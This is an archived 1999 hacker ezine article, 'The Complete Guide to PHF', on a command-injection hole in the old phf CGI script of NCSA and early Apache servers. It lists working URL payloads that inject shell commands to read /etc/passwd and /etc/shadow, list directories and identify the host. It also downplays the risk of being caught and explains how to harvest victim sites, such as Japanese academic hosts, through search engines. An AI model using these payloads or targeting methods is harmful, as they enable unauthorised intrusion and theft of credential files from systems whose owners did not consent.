💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › DOJ › doj2-05.t… captured on 2022-01-08 at 15:31:38.
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
::::::::::::::::::::::::::::::::::::::::::::::::::::::::Feb/99 ::: The Discordant Opposition Journal ::: Issue 2 - File 5 ::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :The Complete Guide to PHF: Digital Avatar 1. What is PHF? The PHF (packet handler function) white pages directory services program distributed with the NCSA httpd, versions 1.5a and earlier, and also included in the Apache distribution prior to version 1.0.5, passes unchecked newline (hex 0a) characters to the Unix shell. Unauthorised access to the server host may allow an intruder to read, modify, or destroy files. The phf program implements a form-based interface to a local CCSO Name Server. The CCSO Name Server is a white pages service used for looking up name and address information about people. With phf, a hacker can execute commands on the server host using the same user-id as the user running the "httpd" server. If "httpd" is being run as root, the hacker's commands are also run as root. He can access any file on the system that is accessible to the user-id that is running the httpd server. The phf phone book script file in the cgi-bin directory can be exploited to give a hacker the password (etc/passwd) file in Unix systems. The phf phone book script is distributed with NCSA and Apache httpd. This default file is a sample form titled "Form for CSO PH query" and can be exploited to view files on a system. The phf exploit is one of the most common ways of obtaining password files of of systems on the internet. 2. How do I use PHF? Alright. To use PHF you enter the following command line into any web browser: http://www.target_goes_here.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd This takes you to the /etc/passwd file of the target computer. Neat, huh? Anything after Qalias=x%0a/bin/ is the command. You can do virtually any command. You cannot edit files though. It doesnt work. Examples: /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow -displays the shadow file /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd -displays the passwd file /cgi-bin/phf?Qalias=x%0a/bin/ls%20/ -lists the root dir /cgi-bin/phf?Qalias=x%0a/bin/ls%20/bin -lists the bin dir /cgi-bin/phf?Qalias=x%0a/bin/ls%20-la%20/bin -lists the bin dir and shows file permissions /cgi-bin/phf?Q=%0aid - gives you the uid of nobody /cgi-bin/phf?Q=%0a/bin/uname%20-a - give operating system /cgi-bin/phf?Q=%0apwd - print working directory /cgi-bin/test-cgi?* - get all files in /cgi-bin/ /cgi-bin/test-cgi?/* - get all directories /cgi-bin/nph-test-cgi?* - get all files in /cgi-bin/ /cgi-bin/nph-test-cgi?/* - get all directories /cgi/bin/phf?Q=%0a/bin/ypcat%20passwd - get ypcat passwd 3. What happens if it says "404 Error" or "Caught on Candid Camera"? Well, a 404 Error indicates that the target is patched of this hole already or that they do not have PHF on their system, among other things. If it gives you a 404, move on to a new target. Caught on Candid Camera is a small joke in a way. When you get this screen it means they have logged that you have just tried to access them via PHF. Don't worry about getting caught though. They hardly ever report it. Just don't go try the same place every time. If they are logging you then they might get a little curious after you try PHF on them 10 times. Use PHF wisely. 4. How do I find new targets? The usual way to get new targets is to pick a country, say Japan. Go to www.altavista.com, next and search for "ac.jp". This will turn up a lot of results from the academic hosts in Japan. Take each listing's address and put it before the /cgi-bin in the PHF command line. You can scan all the results quite quickly if you have two browser windows open. One contains: http://www.target_goes_here.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd The other contains your altavista search. Simply Copy the address from altavistsa and paste it onto the www.target_goes_here.com in your other window. You can go through 75-100 sites quite easily. I tend to get about 1/100 hits that have a usable PHF. Don't expect anything better... -Digital Avatar apparitione@gmx.de